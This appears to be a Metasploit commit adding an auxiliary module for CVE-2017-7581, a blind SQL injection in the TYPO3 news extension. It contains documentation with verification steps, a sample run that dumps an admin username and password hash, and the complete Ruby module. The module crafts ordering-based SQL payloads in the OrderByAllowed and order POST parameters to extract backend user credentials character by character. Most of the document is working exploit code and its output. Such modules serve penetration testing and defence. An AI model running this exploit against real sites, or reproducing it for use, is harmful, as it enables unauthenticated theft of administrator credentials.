Land #8422, Typo3 News Module Sql Injection exploit

GSoC/Meterpreter_Web_Console
Jacob Robles 2018-03-15 10:55:04 -05:00
commit 1b2f1ced02
No known key found for this signature in database
GPG Key ID: 3EC9F18F2B12401C
2 changed files with 242 additions and 0 deletions

View File

@ -0,0 +1,49 @@
## Description
News module extensions v5.3.2 and earlier for TYPO3 contain an SQL injection vulnerability. This module allows an unauthenticated user to exploit the SQL injection vulnerability by generating requests to retrieve the password hash for the admin user of the application. This module has been tested on TYPO3 3.16.0 running news extension 5.0.0.
## Vulnerable Application
In vulnerable versions of the news module for TYPO3, a filter for unsetting user specified values does not account for capitalization of the paramter name. This allows a user to inject values to an SQL query.
To exploit the vulnerability, the module generates requests and sets a value for `order` and `OrderByAllowed`, which gets passed to the SQL query. The requests are constructed to reorder the display of news articles based on a character matching. This allows a blind SQL injection to be performed to retrieve a username and password hash.
## Options
**PATTERN1** and **PATTERN2**
These patterns are used to determine whether the news articles have been reordered. By default, the module will search for headlines and set the first identified headline to PATTERN1 and the second to PATTERN2.
**ID**
The value for query parameter `id` of the page that the news extension is running on.
## Verification Steps
- [ ] Install [Typo3 VM](https://www.turnkeylinux.org/download?file=turnkey-typo3-14.1-jessie-amd64.ova)
- [ ] Launch the VM and configure it
- [ ] SSH to the VM
- [ ] `cd /var/www/typo3/ && composer require georgringer/news:5.0.0`
- [ ] Login to the web interface
- [ ] Enable the news extension
- [ ] Import [vulnerable page](https://github.com/rapid7/metasploit-framework/files/1015777/T3D__2017-05-20_02-17-z.t3d.zip)
- [ ] Enable page
- [ ] Verify if page is visble to unauthenticated user and note the id
- [ ] `./msfconsole -q -x 'use auxiliary/admin/http/typo3_news_module_sqli; set rhost <rhost>; set id <id>; run'`
- [ ] Username and password hash should have been retrieved
## Scenarios
### News Module 5.0.0 on TYPO3 3.16.0
```
msfdev@simulator:~/git/metasploit-framework$ ./msfconsole -q -x 'use auxiliary/admin/http/typo3_news_module_sqli; set rhost 172.22.222.136; set id 37; run'
rhost => 172.22.222.136
id => 37
[*] Trying to automatically determine Pattern1 and Pattern2...
[*] Pattern1: Article #1, Pattern2: Article #2
[+] Username: admin
[+] Password Hash: $P$Ch4lme3.gje9o.DjMip59baG7b/mIp.
[*] Auxiliary module execution completed
msf5 auxiliary(admin/http/typo3_news_module_sqli) >
```

View File

@ -0,0 +1,193 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
def initialize(info={})
super(update_info(info,
'Name' => 'TYPO3 News Module SQL Injection',
'Description' => %q{
This module exploits a SQL Injection vulnerability In TYPO3 NewsController.php
in the news module 5.3.2 and earlier. It allows an unauthenticated user to execute arbitrary
SQL commands via vectors involving overwriteDemand and OrderByAllowed. The SQL injection
can be used to obtain password hashes for application user accounts. This module has been
tested on TYPO3 3.16.0 running news extension 5.0.0.
This module tries to extract username and password hash of the administrator user.
It tries to inject sql and check every letter of a pattern, to see
if it belongs to the username or password it tries to alter the ordering of results. If
the letter doesn't belong to the word being extracted then all results are inverted
(News #2 appears before News #1, so Pattern2 before Pattern1), instead if the letter belongs
to the word being extracted then the results are in proper order (News #1 appears before News #2,
so Pattern1 before Pattern2)
},
'License' => MSF_LICENSE,
'Author' =>
[
'Marco Rivoli', # MSF code
'Charles Fol' # initial discovery, POC
],
'References' =>
[
['CVE', '2017-7581'],
['URL', 'http://www.ambionics.io/blog/typo3-news-module-sqli'] # Advisory
],
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' => [['Automatic', {}]],
'DisclosureDate' => 'Apr 6 2017',
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [true, 'The path of TYPO3', '/']),
OptString.new('ID', [true, 'The id of TYPO3 news page', '1']),
OptString.new('PATTERN1', [false, 'Pattern of the first article title', 'Article #1']),
OptString.new('PATTERN2', [false, 'Pattern of the second article title', 'Article #2'])
])
end
def dump_the_hash(patterns = {})
ascii_charset_lower = "a".upto("z").to_a.join('')
ascii_charset_upper = "A".upto("Z").to_a.join('')
ascii_charset = "#{ascii_charset_lower}#{ascii_charset_upper}"
digit_charset = "0".upto("9").to_a.join('')
full_charset = "#{ascii_charset}#{digit_charset}$./"
username = blind('username','be_users', 'uid=1', ascii_charset, digit_charset, patterns)
print_good("Username: #{username}")
password = blind('password','be_users', 'uid=1', full_charset, digit_charset, patterns)
print_good("Password Hash: #{password}")
connection_details = {
module_fullname: self.fullname,
username: username,
private_data: password,
private_type: :nonreplayable_hash,
workspace_id: myworkspace_id
}.merge!(service_details)
credential_core = create_credential(connection_details)
login_data = {
core: credential_core,
status: Metasploit::Model::Login::Status::UNTRIED,
workspace_id: myworkspace_id
}.merge(service_details)
create_credential_login(login_data)
end
def blind(field, table, condition, charset, digit_charset, patterns = {})
# Adding 9 so that the result has two digits, If the lenght is superior to 100-9 it won't work
offset = 9
size = blind_size("length(#{field})+#{offset}",
table,
condition,
2,
digit_charset,
patterns)
size = size.to_i - offset
vprint_status("Retrieving field '#{field}' string (#{size} bytes)...")
data = blind_size(field,
table,
condition,
size,
charset,
patterns)
data
end
def select_position(field, table, condition, position, char)
payload1 = "select(#{field})from(#{table})where(#{condition})"
payload2 = "ord(substring((#{payload1})from(#{position})for(1)))"
payload3 = "uid*(case((#{payload2})=#{char.ord})when(1)then(1)else(-1)end)"
payload3
end
def blind_size(field, table, condition, size, charset, patterns = {})
str = ''
for position in 0..size
for char in charset.split('')
payload = select_position(field, table, condition, position + 1, char)
if test(payload, patterns)
str += char.to_s
break
end
end
end
str
end
def test(payload, patterns = {})
begin
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path,'index.php'),
'vars_get' => {
'id' => datastore['ID'],
'no_cache' => '1'
},
'vars_post' => {
'tx_news_pi1[overwriteDemand][OrderByAllowed]' => payload,
'tx_news_pi1[search][maximumDate]' => '', # Not required
'tx_news_pi1[overwriteDemand][order]' => payload,
'tx_news_pi1[search][subject]' => '',
'tx_news_pi1[search][minimumDate]' => '' # Not required
}
})
rescue Rex::ConnectionError, Errno::CONNRESET => e
print_error("Failed: #{e.class} - #{e.message}")
end
if res && res.code == 200
unless res.body.index(patterns[:pattern1]).nil? || res.body.index(patterns[:pattern2]).nil?
return res.body.index(patterns[:pattern1]) < res.body.index(patterns[:pattern2])
end
end
false
end
def try_autodetect_patterns
print_status("Trying to automatically determine Pattern1 and Pattern2...")
begin
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path,'index.php'),
'vars_get' => {
'id' => datastore['ID'],
'no_cache' => '1'
}
})
rescue Rex::ConnectionError, Errno::ECONNRESET => e
print_error("Failed: #{e.class} - #{e.message}")
return '', ''
end
if res && res.code == 200
news = res.get_html_document.search('div[@itemtype="http://schema.org/Article"]')
pattern1 = news[0].nil? ? '' : news[0].search('span[@itemprop="headline"]').text
pattern2 = news[1].nil? ? '' : news[1].search('span[@itemprop="headline"]').text
end
if pattern1.to_s.eql?('') || pattern2.to_s.eql?('')
print_status("Couldn't determine Pattern1 and Pattern2 automatically, switching to user speficied values...")
pattern1 = datastore['PATTERN1']
pattern2 = datastore['PATTERN2']
end
print_status("Pattern1: #{pattern1}, Pattern2: #{pattern2}")
return pattern1, pattern2
end
def run
pattern1, pattern2 = try_autodetect_patterns
if pattern1 == '' || pattern2 == ''
print_error("Unable to determine pattern, aborting...")
else
dump_the_hash(:pattern1 => pattern1, :pattern2 => pattern2)
end
end
end